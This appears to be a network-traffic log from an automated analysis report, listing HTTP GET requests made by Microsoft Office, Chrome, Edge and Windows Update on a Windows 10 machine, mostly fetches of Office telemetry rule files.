Source: global traffic	HTTP traffic detected: GET /async/ddljson?async=ntp:2 HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlaHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc=Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0 HTTP/1.1Host: apis.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlaHLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=mplgGFYO8rDrOkg&MD=kno1x+AY HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1Host: api.edgeoffer.microsoft.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /crx/blobs/AYA8VyyVmiyWvldTRU0qGaR4RUSL6-YrG6uKRsMPsRWu4uzTWsENQ0Oe4TwjJlNxU5Vx3wW0XCsKQHAJ2XkWCO0eQ7UF3N9B6xg6w6N4ZQ_ezL5_s1EfR63s25vMOuhpdI4AxlKa5cntVqVuAOGwNK_pRVduNn5fPIzZ/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_83_1_0.crx HTTP/1.1Host: clients2.googleusercontent.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: ShorelineSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: EntityExtractionDomainsConfigSec-Mesh-Client-Edge-Version: 117.0.2045.47Sec-Mesh-Client-Edge-Channel: stableSec-Mesh-Client-OS: WindowsSec-Mesh-Client-OS-Version: 10.0.19045Sec-Mesh-Client-Arch: x86_64Sec-Mesh-Client-WebView: 0Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /filestreamingservice/files/bdc392b9-6b81-4aaa-b3ee-2fffd9562edb?P1=1730652870&P2=404&P3=2&P4=i5P1P8K%2fznTPyET16Qi1ZI0yg5QDknaMoJ4bXLB8YMUxpZS0t5Ao%2bo0urKnDn%2fUtHY5k7%2biTGSI%2bChftur%2fSHA%3d%3d HTTP/1.1Host: msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.comConnection: keep-aliveMS-CV: hdFnogcCB6stPkb8uXJxeSSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
